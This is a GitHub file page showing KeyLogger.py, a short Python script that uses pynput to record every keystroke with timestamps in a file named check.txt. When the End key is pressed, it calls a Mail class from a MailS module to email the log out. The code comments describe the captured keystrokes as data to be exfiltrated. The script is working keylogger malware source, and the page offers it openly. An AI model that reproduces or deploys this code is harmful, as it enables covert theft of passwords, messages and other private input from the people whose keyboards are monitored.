-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathKeyLogger.py
More file actions
30 lines (24 loc) · 993 Bytes
/
KeyLogger.py
File metadata and controls
30 lines (24 loc) · 993 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# pynput: This will help us read the keystrokes as the user types in stuff
# logging: This will log the key strokes into a file which we can later exfiltrate by suitable means
from pynput.keyboard import Key, Listener
import logging
from pynput import keyboard
from MailS import Mail
# Basic Log Configuration
logging.basicConfig(filename="check.txt", level=logging.DEBUG, format=" %(asctime)s - %(message)s")
break_program = False
# The function defined here takes an argument indicating the key pressed by the user and logs it into the file after
# converting it into a string.
def on_press(key):
global break_program
if key == keyboard.Key.end:
print('end pressed')
ob = Mail()
ob.send_mail()
break_program = True
return False
else:
logging.info(str(key))
# recording key strokes and pass the function we created as an argument
with Listener(on_press=on_press) as listener:
listener.join()